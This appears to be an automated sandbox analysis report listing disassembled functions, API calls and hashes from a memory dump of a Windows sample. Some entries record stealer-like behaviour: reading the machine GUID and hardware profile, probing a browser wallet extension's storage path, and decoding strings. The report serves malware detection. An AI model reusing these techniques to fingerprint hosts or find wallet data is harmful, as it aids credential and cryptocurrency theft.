Instruction Fuzzy Hash: A8F096318017159ADB10AB76C81275F7BA06F01738F20874EA874AA2D1EF7D8A429F5F

Uniqueness

Uniqueness Score: -1.00%

Function 004717C3, Relevance: 3.0, APIs: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 004717DB

Part of subcall function 00472A09: __mtinitlocknum.LIBCMT ref: 00472A1F
Part of subcall function 00472A09: __amsg_exit.LIBCMT ref: 00472A2B
Part of subcall function 00472A09: EnterCriticalSection.KERNEL32(00000000,00000000,?,004701CA,0000000D), ref: 00472A33

__tzset_nolock.LIBCMT ref: 004717EC

Part of subcall function 004710E2: __lock.LIBCMT ref: 00471104
Part of subcall function 004710E2: ____lc_codepage_func.LIBCMT ref: 0047114B
Part of subcall function 004710E2: __getenv_helper_nolock.LIBCMT ref: 0047116D
Part of subcall function 004710E2: _free.LIBCMT ref: 004711A4
Part of subcall function 004710E2: _strlen.LIBCMT ref: 004711AB
Part of subcall function 004710E2: __malloc_crt.LIBCMT ref: 004711B2
Part of subcall function 004710E2: _strlen.LIBCMT ref: 004711C8
Part of subcall function 004710E2: _strcpy_s.LIBCMT ref: 004711D6
Part of subcall function 004710E2: __invoke_watson.LIBCMT ref: 004711EB
Part of subcall function 004710E2: _free.LIBCMT ref: 004711FA

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: __lock_free_strlen$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__invoke_watson__malloc_crt__mtinitlocknum__tzset_nolock_strcpy_s
String ID:
API String ID: 1828324828-0
Opcode ID: 125bb9abb0f7830946337bb4f7af05fc461ea74480cd6033aa82731b8fd69a96
Instruction ID: dd5ecdc8fd21c7ee7ccd794098a64a212babc6b9e42129f4dd7de9563aa5c882
Opcode Fuzzy Hash: 125bb9abb0f7830946337bb4f7af05fc461ea74480cd6033aa82731b8fd69a96
Instruction Fuzzy Hash: 03E0C2348812509FCF62FBFBAA0278E71646B14B26F20857FB008115E2E9B80941866F

Uniqueness

Uniqueness Score: -1.00%

Function 0040E824, Relevance: 3.0, APIs: 2, Instructions: 10COMMON

Download Yara Rule

APIs

std::locale::_Init.LIBCPMT ref: 0040E827

Part of subcall function 00466B6C: __EH_prolog3.LIBCMT ref: 00466B73
Part of subcall function 00466B6C: std::_Lockit::_Lockit.LIBCPMT ref: 00466B89
Part of subcall function 00466B6C: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00466BAB
Part of subcall function 00466B6C: std::locale::_Setgloballocale.LIBCPMT ref: 00466BB5
Part of subcall function 00466B6C: _Yarn.LIBCPMT ref: 00466BCB
Part of subcall function 00466B6C: std::locale::facet::_Incref.LIBCPMT ref: 00466BD8

std::locale::facet::_Incref.LIBCPMT ref: 0040E835

Part of subcall function 0040E7F5: std::_Lockit::_Lockit.LIBCPMT ref: 0040E801

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::locale::_$IncrefLockitLockit::_std::_std::locale::facet::_$H_prolog3InitLocimpLocimp::_SetgloballocaleYarn
String ID:
API String ID: 2389631691-0
Opcode ID: 42432ce89f2671f8c035c59d1b2cb2485b475ff8260ddd9d722ac8e410d57383
Instruction ID: d169a2634b13c12968bce6bbc9b17cc6a041a619efa8a0a972f232a00ab7a7fe
Opcode Fuzzy Hash: 42432ce89f2671f8c035c59d1b2cb2485b475ff8260ddd9d722ac8e410d57383
Instruction Fuzzy Hash: D2B09265B1023082CE243BBB740648865D84E42B183020C7FB581DB28AFD7DCC41038D

Uniqueness

Uniqueness Score: -1.00%

Function 00439E43, Relevance: 1.8, APIs: 1, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0043A0D0

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 143a946d4e1c3027835c9ba1712ea402e4d93ececef6d9a53aeebd294f10cb7b
Instruction ID: a352b675be3c85485bcef34640a4a61f26e1af088cb6765c7283f0c51df9b38a
Opcode Fuzzy Hash: 143a946d4e1c3027835c9ba1712ea402e4d93ececef6d9a53aeebd294f10cb7b
Instruction Fuzzy Hash: CB91D071900616EFDB29DF64C881AAFB3B4BF08314F14512BF855A7341D778AD608BAA

Uniqueness

Uniqueness Score: -1.00%

Function 0044F7A2, Relevance: 1.7, APIs: 1, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 675c3f73524ac53dde2a154faf2db46c5fd5c82c3aec0ab12a4424c7e771b61b
Instruction ID: 019664674d38cdfa40b1b2d17baace3ce23b13dafafed176114b85920f0c8fb2
Opcode Fuzzy Hash: 675c3f73524ac53dde2a154faf2db46c5fd5c82c3aec0ab12a4424c7e771b61b
Instruction Fuzzy Hash: ED71D771900205AFEB11AF69D881AAE77B4AF44358F24417FF801AB351DB38DE858B99

Uniqueness

Uniqueness Score: -1.00%

Function 00403DBF, Relevance: 1.7, APIs: 1, Instructions: 173COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00403E8C

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 103cdeb71153bf3969fa7b693a22b856e4c53fb651d95be16030ef541b460cd9
Instruction ID: c26bf15aabc19ed8862159314b8a397f938992ff5a86d3aec1916238bc942b69
Opcode Fuzzy Hash: 103cdeb71153bf3969fa7b693a22b856e4c53fb651d95be16030ef541b460cd9
Instruction Fuzzy Hash: 4C614874200B018FC725CF2DC680A26BBF9BF99314B244A6EE9869BB90D775FD01CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004619DA, Relevance: 1.7, APIs: 1, Instructions: 158COMMON

Download Yara Rule

APIs

swprintf.LIBCMT ref: 00461B33

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: swprintf
String ID:
API String ID: 233258989-0
Opcode ID: 1f124f9d903d13b4af7eecbb89e77ea5fbe996886b9634914658d0689bcf543c
Instruction ID: 4e900e86f930733c935cbc9b698082a78d40380f489c10f1deb3a0b4a47aeaa6
Opcode Fuzzy Hash: 1f124f9d903d13b4af7eecbb89e77ea5fbe996886b9634914658d0689bcf543c
Instruction Fuzzy Hash: 47510672E01309AADF11DFD4D9417DE7BB8EB04754F28451BE841A12B1F6394C448F9A

Uniqueness

Uniqueness Score: -1.00%

Function 004112B7, Relevance: 1.6, APIs: 1, Instructions: 128COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 004112BE

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3_catch
String ID:
API String ID: 3886170330-0
Opcode ID: 6d507978d76be651d147215f0223ea58964a9ef0240e90b3ece86f361f7b2c5a
Instruction ID: 29efb7229962573f3b3d838c7e3fe6beb8cdb622a331072f5b6591bbf2394ffa
Opcode Fuzzy Hash: 6d507978d76be651d147215f0223ea58964a9ef0240e90b3ece86f361f7b2c5a
Instruction Fuzzy Hash: E7518E34A00249CFEB20CF59C544AEEBBF0AF08324F14425ED961A77A1D738DA81CB59

Uniqueness

Uniqueness Score: -1.00%

Function 004259AA, Relevance: 1.6, APIs: 1, Instructions: 89COMMON

Download Yara Rule

APIs

Part of subcall function 0042407E: _memset.LIBCMT ref: 0042409D

_memset.LIBCMT ref: 004259DA

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 050f0bbd0266d792490e010cc50cd7cfedfe5ea33edb4211e28423f01d3e4bd8
Instruction ID: 36e18700b11a96c44ac54dc1a6f4bec4940797c81675ff4bca1e59dfce1b7db2
Opcode Fuzzy Hash: 050f0bbd0266d792490e010cc50cd7cfedfe5ea33edb4211e28423f01d3e4bd8
Instruction Fuzzy Hash: 80317070B007149FDB20DF29D84279E7BE4EB08764F40861EF859E7380E778E8408B99

Uniqueness

Uniqueness Score: -1.00%

Function 0045EEE9, Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0045EF08

Part of subcall function 0045ED55: GetCurrentHwProfileA.ADVAPI32(?), ref: 0045ED79

Part of subcall function 0045EDB3: _memset.LIBCMT ref: 0045EDF5
Part of subcall function 0045EDB3: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?,?,?,00000000), ref: 0045EE11
Part of subcall function 0045EDB3: RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,?,?,?,?,00000000), ref: 0045EE30
Part of subcall function 0045EDB3: RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 0045EE39
Part of subcall function 0045EDB3: CharToOemA.USER32(?,?), ref: 0045EE4A

Part of subcall function 004046B4: _memmove.LIBCMT ref: 004046D6

Part of subcall function 00402CD0: _memmove.LIBCMT ref: 00402CEF

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _memmove$CharCloseCurrentH_prolog3OpenProfileQueryValue_memset
String ID:
API String ID: 577691565-0
Opcode ID: 3f8e34f21e2991cab1d540d95d3e53f9081ee7804f8c1732feaa87e1ce63987b
Instruction ID: 558178a07cf669222216c3f630919828ba152484d29c37e65c7891f33e58c0e0
Opcode Fuzzy Hash: 3f8e34f21e2991cab1d540d95d3e53f9081ee7804f8c1732feaa87e1ce63987b
Instruction Fuzzy Hash: 973166B1904149AFDB14EFA9DD41BEE77F8AF54304F00402EB945A32C1DB785A08DB65

Uniqueness

Uniqueness Score: -1.00%

Function 004037D6, Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00403833

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: ab36e6f4ab90ee361d66642bd4b02389fbd9e487fb2532dee904df2288008ef7
Instruction ID: d016d930968017330f793f57179b01f90fad726d132969aa1e1bad2b3ec969d6
Opcode Fuzzy Hash: ab36e6f4ab90ee361d66642bd4b02389fbd9e487fb2532dee904df2288008ef7
Instruction Fuzzy Hash: 06311C72900209EFCB50DF59C84459A7BF8FF0432AF14C2ABF814A7291D3789A50CF95

Uniqueness

Uniqueness Score: -1.00%

Function 004767C6, Relevance: 1.6, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0046BFC8,00000000,?,00000000,00000000,00000000,?,0047025F,00000001,00000214), ref: 00476809

Part of subcall function 0046DC1D: __getptd_noexit.LIBCMT ref: 0046DC1D

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap__getptd_noexit
String ID:
API String ID: 328603210-0
Opcode ID: d68266206670853559c239951daa7b59a10b5375985d87069325e1beb12e9d2c
Instruction ID: 3f4a16f55fa8b7f98a17343bfadde7c9632cb0f24e1314f490cf1078d33f6b1c
Opcode Fuzzy Hash: d68266206670853559c239951daa7b59a10b5375985d87069325e1beb12e9d2c
Instruction Fuzzy Hash: C901F531202A159BEB28AF26DC14BEB3756AB91764F07C53FAC19DA290C738DC00C649

Uniqueness

Uniqueness Score: -1.00%

Function 004651E8, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 004651EF

Part of subcall function 00467CC1: _malloc.LIBCMT ref: 00467CDB

Part of subcall function 00467CC1: std::exception::exception.LIBCMT ref: 00467D10
Part of subcall function 00467CC1: std::exception::exception.LIBCMT ref: 00467D2A
Part of subcall function 00467CC1: __CxxThrowException@8.LIBCMT ref: 00467D3B

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::exception::exception$Exception@8H_prolog3Throw_malloc
String ID:
API String ID: 2311266369-0
Opcode ID: 5cc28abd0714f1d7de35c7a1e27d05a4e7d2aedb77067b830f49529bdfaa2ee8
Instruction ID: 840cbc6cc2710e8c2a1c1e2bcf6a8c5d0816eb4c63f0b73919a2be2fba52e2ad
Opcode Fuzzy Hash: 5cc28abd0714f1d7de35c7a1e27d05a4e7d2aedb77067b830f49529bdfaa2ee8
Instruction Fuzzy Hash: 5501D6706046119BDF157F66992265E3A50AF40318F00815FB9155B3D2EF7C8D019A9F

Uniqueness

Uniqueness Score: -1.00%

Function 00467C4A, Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: __getptd_noexit
String ID:
API String ID: 3074181302-0
Opcode ID: ee123ca314030bff14ba191e18914ed3c2a5c27ca24ba2e47a51c4dd00281e90
Instruction ID: f64f08467d76b9f299a675a3c80a90701c10917d95d6ec6429e5c1a6e3ed8435
Opcode Fuzzy Hash: ee123ca314030bff14ba191e18914ed3c2a5c27ca24ba2e47a51c4dd00281e90
Instruction Fuzzy Hash: 33F0A4319046689ADF112FA5DC01B9B3B949F5173CF14024BF938562D1F7BD8490DBAB

Uniqueness

Uniqueness Score: -1.00%

Function 004110B8, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 004110BF

Part of subcall function 0040FDEA: std::locale::facet::_Incref.LIBCPMT ref: 0040FDFD

Part of subcall function 00410E91: __EH_prolog3.LIBCMT ref: 00410E98
Part of subcall function 00410E91: std::_Lockit::_Lockit.LIBCPMT ref: 00410EA2
Part of subcall function 00410E91: int.LIBCPMT ref: 00410EB9
Part of subcall function 00410E91: std::locale::_Getfacet.LIBCPMT ref: 00410EC2

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3$GetfacetIncrefLockitLockit::_std::_std::locale::_std::locale::facet::_
String ID:
API String ID: 199253227-0
Opcode ID: ae2f4df0d8604804da0774eaefcdf2f12641d97f2a69c8496de3075059ea371b
Instruction ID: b540ab02654e72e620fc268284bd186115c4a03f69c9f5fecdcc291c23764ef7
Opcode Fuzzy Hash: ae2f4df0d8604804da0774eaefcdf2f12641d97f2a69c8496de3075059ea371b
Instruction Fuzzy Hash: 50F0BE31600208ABCF15BB72CC16BEE73596F08708F00042FBA00A61E2EFBDCE958759

Uniqueness

Uniqueness Score: -1.00%

Function 00464555, Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 520a541090977386c38b358fa909f159a82519fb23c59b01b47a66ede2f65412
Instruction ID: bcd982347e5388f5f6cf48e1354f5e374aaa2308a4f9e54cfd126d45015da817
Opcode Fuzzy Hash: 520a541090977386c38b358fa909f159a82519fb23c59b01b47a66ede2f65412
Instruction Fuzzy Hash: 22F03AB0505200BFDF08CF14C644A363BA6ABD5308F34849EE2064E202E736D843DB9B

Uniqueness

Uniqueness Score: -1.00%

Function 0040CD8C, Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

Part of subcall function 00404C99: __EH_prolog3.LIBCMT ref: 00404CA0

CreateDirectoryA.KERNEL32(?,00000000), ref: 0040CDBE

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateDirectoryH_prolog3
String ID:
API String ID: 517817506-0
Opcode ID: f548e273158eca03b5a7778d9aeb1e25a7e8851f9d60b96940b9276537ab3f53
Instruction ID: 4df2910af8312be61e3f43843f9077bd8910c3830de8634208a0d3521147f49e
Opcode Fuzzy Hash: f548e273158eca03b5a7778d9aeb1e25a7e8851f9d60b96940b9276537ab3f53
Instruction Fuzzy Hash: BBF01270910208EBEF04DFE5DD46FDD7778EB18704F40043AE501B71D1E6B8A9048B69

Uniqueness

Uniqueness Score: -1.00%

Function 00402CD0, Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00402CEF

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: e1bf06de85cad0a7e779c309bd71465b1f725f298e8a2a2932334f7a43b690dc
Instruction ID: 292a41eaf27b36e1e42078ddedb39221cc99272948184a213b99a79d9ffafcda
Opcode Fuzzy Hash: e1bf06de85cad0a7e779c309bd71465b1f725f298e8a2a2932334f7a43b690dc
Instruction Fuzzy Hash: 31E02BB200D7416AE3305E099948B07FBE8FF81718F14091FE481136C2D7B9584892BA

Uniqueness

Uniqueness Score: -1.00%

Function 0046E866, Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

__flsbuf.LIBCMT ref: 0046E887

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: __flsbuf
String ID:
API String ID: 2056685748-0
Opcode ID: b2abbf9e15346c5a683e1eb0b284856c540cceb5b9561b4a404859deff5ecdc1
Instruction ID: 04766f330c7d4fb9599b8ce81bb9ddcfb2d387c2a4500ac8c3ccf6a697c258ef
Opcode Fuzzy Hash: b2abbf9e15346c5a683e1eb0b284856c540cceb5b9561b4a404859deff5ecdc1
Instruction Fuzzy Hash: B2E0DF744001008ECB281B26C4452327BE0EF01769F3886CFDA808B1E3E33E8443EB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00403570, Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

SHFileOperationA.SHELL32(?), ref: 004035A6

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileOperation
String ID:
API String ID: 3080627654-0
Opcode ID: 660509fda3c089903a01d58005a256b5f3c6fddca4c5480059c3fac021dc877d
Instruction ID: 7c4f97ebe30a0e40352ab895cc7624637cca130e60e00242950d131df698fd88
Opcode Fuzzy Hash: 660509fda3c089903a01d58005a256b5f3c6fddca4c5480059c3fac021dc877d
Instruction Fuzzy Hash: 57E052B0E0420D9BCB44DFA8D5456DEBAF4BF08304F00856EE409F7340E77496458B99

Uniqueness

Uniqueness Score: -1.00%

Function 0041E194, Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041E1B1

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: cb823118e3f37e45c56de36a165aef6196477bfbdc35ace4ffb649adea5dbb97
Instruction ID: 2e2102e6d6d31b4ac8ab59c5f4979c509e8b141e586ac1e3b2825a56b5a0c551
Opcode Fuzzy Hash: cb823118e3f37e45c56de36a165aef6196477bfbdc35ace4ffb649adea5dbb97
Instruction Fuzzy Hash: 8CD0A73B90D7207AC5112541BC01B8B7B518F80774F14441AFA0455151D635485043CE

Uniqueness

Uniqueness Score: -1.00%

Function 004602E7, Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,0040FCF1,?,0000001A,?,?,?,?,0049B0CC,00000000), ref: 00460301

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 8abd0d4a1aaaa8ce3704efc2628216932a0bc47a49807621a46e2fe4f5f1af93
Instruction ID: a1cfc258ace85268705f1e073b6c37177d7097cd07717b35597a93cc5ec55387
Opcode Fuzzy Hash: 8abd0d4a1aaaa8ce3704efc2628216932a0bc47a49807621a46e2fe4f5f1af93
Instruction Fuzzy Hash: 35D0C975205201BEA2845B75DC06E7BBBADEBC8610F11C82DB585C21A0DA30E8508B32

Uniqueness

Uniqueness Score: -1.00%

Function 0045E933, Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0045E941

Part of subcall function 004621BC: __EH_prolog3_GS.LIBCMT ref: 004621C6

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3_InfoSystem
String ID:
API String ID: 2966166590-0
Opcode ID: 8b3fce1c67cd043143d20ce2bb38d19c90e506d80b50fb330ef638994a37111b
Instruction ID: 19387f219a3731ead70dc757997e5d2b7c80c02b5afc36ffe5bb65784f588ce8
Opcode Fuzzy Hash: 8b3fce1c67cd043143d20ce2bb38d19c90e506d80b50fb330ef638994a37111b
Instruction Fuzzy Hash: 9DD09E7180410EBBCF00EFE5D849EDDBB78AB19749F008019E601A6160E775D659CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0046007D, Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(00000000,0040D0AC,00000000,?,00000000,00000000,00000001,00000000,00000001,00000000,00000000,?,?,00000010,00000001,00000000), ref: 00460081

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 8515690202dd3f1e22270338427d5464750e4f46b865814bcb5fa175a2607fae
Instruction ID: a28a42821ee8407f29391703c1332d8ae434a88f6e19e1b5ffd39e3bc6eb5705
Opcode Fuzzy Hash: 8515690202dd3f1e22270338427d5464750e4f46b865814bcb5fa175a2607fae
Instruction Fuzzy Hash: FAC08C32025040895A0006386D0822B6A429B91727F506E32E2A6C00E0FB288812620A

Uniqueness

Uniqueness Score: -1.00%

Function 0046009A, Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,00405B9D,00000000,?,?,?,?,\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec\CURRENT,00000042,?,?,?,?,?,?,00000018), ref: 0046009E

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: aa2c18b0a177d23ae1fe41068b7e441dcbd1d5b1c86a858b99ecbdc31d8dbd05
Instruction ID: 1843a84c1d069ec1dfa23bc67e8ab56e4033e777740a678c8a50fd081140884d
Opcode Fuzzy Hash: aa2c18b0a177d23ae1fe41068b7e441dcbd1d5b1c86a858b99ecbdc31d8dbd05
Instruction Fuzzy Hash: 6DC08C300152006D56011634BC0862B25909B52326F108E32E0A6C02E1FB368C92A10B

Uniqueness

Uniqueness Score: -1.00%

Function 0040FC81, Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,0040FD2B,?,?,?,?,?,0049B0CC,00000000), ref: 0040FC85

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: e4b5d0219a920b81702b9cb40a785678cf315e8f7c6d42b05232d98bc6d69701
Instruction ID: 2826b96ae538d60d6299356c6ab427591acdbf3dbfd1728cf757918122b7f824
Opcode Fuzzy Hash: e4b5d0219a920b81702b9cb40a785678cf315e8f7c6d42b05232d98bc6d69701
Instruction Fuzzy Hash: 4EC04C7052A55459EA201E349D0A01B2691AA83627F940E75E8A9D19E4D7348D5A7504

Uniqueness

Uniqueness Score: -1.00%

Function 00468526, Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00468533

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: b5c1dd7f54315c70b952dff0fe33ec93e52da603c388fdf08d18a597afa050f6
Instruction ID: 466fd781385ece6d26b5ad95310f91e1450fb2d06d7fe000b64fecd3ef7189a8
Opcode Fuzzy Hash: b5c1dd7f54315c70b952dff0fe33ec93e52da603c388fdf08d18a597afa050f6
Instruction Fuzzy Hash: 83C09B7254010C77CF111943DC02E553F1997C1764F044015FB1C19161BD77D561D599

Uniqueness

Uniqueness Score: -1.00%

Function 004695EE, Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

__fsopen.LIBCMT ref: 004695FB

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: __fsopen
String ID:
API String ID: 3646066109-0
Opcode ID: 458c5a181ffae5f95d358663ef626c75276123e7ccc662156e21cb703a51c411
Instruction ID: c73aeb522fd294d6785c845a98384fa68a79a6f6b3180c4d0583a3fa226b76ee
Opcode Fuzzy Hash: 458c5a181ffae5f95d358663ef626c75276123e7ccc662156e21cb703a51c411
Instruction Fuzzy Hash: F2C09B7344010C77CF111D43EC02E453F1D97D0764F448011FB1D19161F577D96196C9

Uniqueness

Uniqueness Score: -1.00%

Function 00401016, Relevance: 1.3, APIs: 1, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00401025

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: a16e5b16714a1448422f66c129117e691444f1ff8e53e8e7b1cf012d2f1c0baa
Instruction ID: 5549ee678ecdc109923b726f2ef86f730a44a939511cc6300ebf448b160a6775
Opcode Fuzzy Hash: a16e5b16714a1448422f66c129117e691444f1ff8e53e8e7b1cf012d2f1c0baa
Instruction Fuzzy Hash: BB01A736304286ABCB01CF6DD8C49A6BFD9EF5A304B048065FD84CB312D571D908C7A4

Uniqueness

Uniqueness Score: -1.00%

Function 0045FFED, Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?,?,?,004115DE,?,?), ref: 00460005

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: b71ae343ab975d2989b4f4db368fa8c50d4811b8bdc7eb78032efafd36867071
Instruction ID: 4bd8ac2cc3887550dd3d539f9eb65bd25c9e707104c173d2c474ab704532a428
Opcode Fuzzy Hash: b71ae343ab975d2989b4f4db368fa8c50d4811b8bdc7eb78032efafd36867071
Instruction Fuzzy Hash: F6E09B356056514B83224E1CA80472BF7979FD5F11F19855FDD9497318E635CC014796

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040E9D0, Relevance: 7.6, APIs: 5, Instructions: 98stringencryptionCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040EA10
CryptStringToBinaryA.CRYPT32(?,?,00000001,?,?,00000000,00000000), ref: 0040EA34
_memmove.LIBCMT ref: 0040EA8E
lstrcatA.KERNEL32(004866C4,004866C4), ref: 0040EAA4
lstrcatA.KERNEL32(004866C4,004866C4), ref: 0040EAB6

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: lstrcat$BinaryCryptString_memmove_memset
String ID:
API String ID: 3096129145-0
Opcode ID: be5abfd844e63ed34ba43aa0a8558c58b669c02ea89472c135ac5c946b25db83
Instruction ID: 26b0baabfd7ed76ddab585b5af8e3c419a642a735d219d93e9c0511fef25c445
Opcode Fuzzy Hash: be5abfd844e63ed34ba43aa0a8558c58b669c02ea89472c135ac5c946b25db83
Instruction Fuzzy Hash: 0C312D71900219AFDB10DFA6DC889EEBBB9FF19304B04047AE909E7241EB345919CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040E962, Relevance: 3.0, APIs: 2, Instructions: 35COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040E983
GetVersionExA.KERNEL32(?), ref: 0040E99C

Memory Dump Source

